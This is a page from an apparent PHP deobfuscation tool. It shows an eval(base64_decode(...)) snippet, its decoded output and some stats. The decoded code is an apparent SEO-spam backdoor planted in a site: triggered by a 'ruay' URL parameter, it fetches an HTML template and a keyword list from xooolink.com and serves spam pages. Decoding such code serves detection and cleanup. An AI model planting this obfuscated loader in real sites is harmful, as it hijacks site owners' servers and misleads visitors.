Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('aWYgKGlzc2V0KCRfR0VUWydydWF5J10pKSB7CiAgICAkdGVtcGxhdGVfdXJsID0..

Decoded Output download

if (isset($_GET['ruay'])) {
    $template_url = 'https://xooolink.com/tunnel/tnsumk/template.html';
    $keywords_url = 'https://xooolink.com/tunnel/tnsumk/keywords.txt';

    $template = file_get_contents($template_url);
    $keywords = file($keywords_url, FILE_INGORE_NEW_LINES , FILE_SKIP_EMPTY_LINES);

    $givenKeyword = str_replace('-', ' ', strtolower($_GET['ruay']));

    $index = array_search($givenKeyword, array_map('strtolower', $keywords));

     if ($index === false) {
        header("HTTP/1.0 404 Not Found");
        echo "Error 404: Page not found!";
        exit;
    } else {
        $displayKeyword = ucwords($givenKeyword);
        $linkKeyword = str_replace(' ', '-', $givenKeyword);

        $output = str_replace('{keyword}', $displayKeyword, $template);
        $output = str_replace('{keywordLink}', $linkKeyword, $output);

        echo $output;
        exit;
    }
}

Did this file decode correctly?

Original Code

<?php
eval(base64_decode('aWYgKGlzc2V0KCRfR0VUWydydWF5J10pKSB7CiAgICAkdGVtcGxhdGVfdXJsID0gJ2h0dHBzOi8veG9vb2xpbmsuY29tL3R1bm5lbC90bnN1bWsvdGVtcGxhdGUuaHRtbCc7CiAgICAka2V5d29yZHNfdXJsID0gJ2h0dHBzOi8veG9vb2xpbmsuY29tL3R1bm5lbC90bnN1bWsva2V5d29yZHMudHh0JzsKCiAgICAkdGVtcGxhdGUgPSBmaWxlX2dldF9jb250ZW50cygkdGVtcGxhdGVfdXJsKTsKICAgICRrZXl3b3JkcyA9IGZpbGUoJGtleXdvcmRzX3VybCwgRklMRV9JTkdPUkVfTkVXX0xJTkVTICwgRklMRV9TS0lQX0VNUFRZX0xJTkVTKTsKCiAgICAkZ2l2ZW5LZXl3b3JkID0gc3RyX3JlcGxhY2UoJy0nLCAnICcsIHN0cnRvbG93ZXIoJF9HRVRbJ3J1YXknXSkpOwoKICAgICRpbmRleCA9IGFycmF5X3NlYXJjaCgkZ2l2ZW5LZXl3b3JkLCBhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCAka2V5d29yZHMpKTsKCiAgICAgaWYgKCRpbmRleCA9PT0gZmFsc2UpIHsKICAgICAgICBoZWFkZXIoIkhUVFAvMS4wIDQwNCBOb3QgRm91bmQiKTsKICAgICAgICBlY2hvICJFcnJvciA0MDQ6IFBhZ2Ugbm90IGZvdW5kISI7CiAgICAgICAgZXhpdDsKICAgIH0gZWxzZSB7CiAgICAgICAgJGRpc3BsYXlLZXl3b3JkID0gdWN3b3JkcygkZ2l2ZW5LZXl3b3JkKTsKICAgICAgICAkbGlua0tleXdvcmQgPSBzdHJfcmVwbGFjZSgnICcsICctJywgJGdpdmVuS2V5d29yZCk7CgogICAgICAgICRvdXRwdXQgPSBzdHJfcmVwbGFjZSgne2tleXdvcmR9JywgJGRpc3BsYXlLZXl3b3JkLCAkdGVtcGxhdGUpOwogICAgICAgICRvdXRwdXQgPSBzdHJfcmVwbGFjZSgne2tleXdvcmRMaW5rfScsICRsaW5rS2V5d29yZCwgJG91dHB1dCk7CgogICAgICAgIGVjaG8gJG91dHB1dDsKICAgICAgICBleGl0OwogICAgfQp9Cgo='));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 3e1de4a2d600801b15ecddb66bb82113
Eval Count 1
Decode Time 49 ms